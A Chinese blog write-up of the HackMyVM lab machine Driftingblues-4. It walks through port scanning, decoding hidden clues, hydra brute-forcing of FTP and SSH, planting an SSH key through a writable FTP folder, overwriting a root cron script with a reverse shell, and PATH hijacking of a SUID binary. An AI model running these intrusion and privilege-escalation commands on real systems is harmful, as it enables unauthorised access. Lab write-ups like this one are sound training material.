Hackmyvm综合靶机 | Driftingblues-4

前言提要

​ 4.7号晚,接收建议。

​ 我是否太注重于打靶?更应该多了解了解常见的框架比如Spring、Apache等以及多积累相关经验,捋清楚自己的思绪。

​ 后期的博客应该会多多更新常见CMS的相关知识,以及一些代码的编写…(把这系列靶机打完后,多更多设计其他知识不仅限于靶机wp)

kali:192.168.132.139

靶机:192.168.132.172

信息收集

#先简单扫端口
nmap -p- 192.168.132.172
#再全面扫面
nmap -A -sV -p- -T4 192.168.132.172

image-20220408163839440

开放端口21、22、80(常规想法:21和22端口日常爆破,去80端口的web页面进一步信息收集)

页面没东西,但是在源代码里面有一串密文

Z28gYmFjayBpbnRydWRlciEhISBkR2xuYUhRZ2MyVmpkWEpwZEhrZ1pISnBjSEJwYmlCaFUwSnZZak5DYkVsSWJIWmtVMlI1V2xOQ2FHSnBRbXhpV0VKellqTnNiRnBUUWsxTmJYZ3dWMjAxVjJGdFJYbGlTRlpoVFdwR2IxZHJUVEZOUjFaSlZWUXdQUT09

#四次解密后得到一个隐藏目录
/imfuckingmad.txt

去隐藏目录看一看又是一个奇怪的加密,寻找解密方式

http://www.dcode.fr/cipher-identifier

发现是 Brainfuck 解密,然后进行解密
得到一张二维码: /iTiS3Cr3TbiTCh.png

然后去在线二维码解密得到一个网址:https://i.imgur.com/a4JjS76.png

image-20220407162737606

去到页面发现一些账号名字,记下来放进user.txt

拿着账号去爆破FTP和SSH(利用的是本地的密码本rockyou)

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.132.172 ssh
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.132.172 ftp

image-20220408164951311

然后是爆破了ftp的账号:luther 密码:mypics

成功登陆ftp,发现hubert的目录权限可以任意读写

然而进入hubert却什么东西都没有

ftp 192.168.132.172
ls
cd hubert
ls -al

image-20220408163516844

公私钥登陆

考虑在hubert用户的目录下写下私钥来进行免密登陆

本地生成公钥对

把公钥复制成authorized_keys文件image-20220407163536583

在家目录下创建.ssh目录,然后将kali的公钥上传到该目录下

mkdir .ssh
cd .ssh
put authorized_keys

ssh hubert@192.168.132.166 -i key

image-20220408162134306

image-20220408162313815

提权

在本地目录下有一个py文件,打开看一看

属主是root且内容执行的是系统命令

image-20220408162420662

判断该程序是否为定时任务(下载pspy64)

wget http://192.168.111.7/pspy64
chmod +x pspy64
./pspy64

发现该py文件一分钟执行一次,所以我们可以利用定时任务获取root权限

使用nano修改文件写入反弹shell,并保存为emrgency.pye

然后再次进行覆盖

nano emergency.py
ls
mv emergency.pye emergency.py
cat emergency.py

image-20220408163134170

在kali本机监听,等待反弹shell成功即可获取root

nc -lvnp 3333

在这里插入图片描述

第二种提权:使用环境变量进行命令劫持提权

这个提权步骤是和blues3一模一样的

搜索一下具有suid权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20220406194732333

发现一个getinfo命令

执行一下发现,这个命令集合了(系统命令)

ifconfig
cat /etc/hosts
uname -a

所以思路:修改其中一个命令即可获取root权限

这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权
因此,在这种情况下,我们可以在环境变量 PATH 中提供一个目录 (/tmp),并创建一
个 ip 或者 cat 文件,用于劫持命令,执行我们自定义的二进制文件就可以提权:
export PATH=/tmp/:$PATH     把/tmp路径加入到系统路径中。
cd /tmp						
echo '/bin/bash' > ip		把/bin/bash写入到ip中。
chmod +x ip					增加执行权限
/usr/bin/getinfo

image-20220408164917217

image-20220406195314111

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1erkeU

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值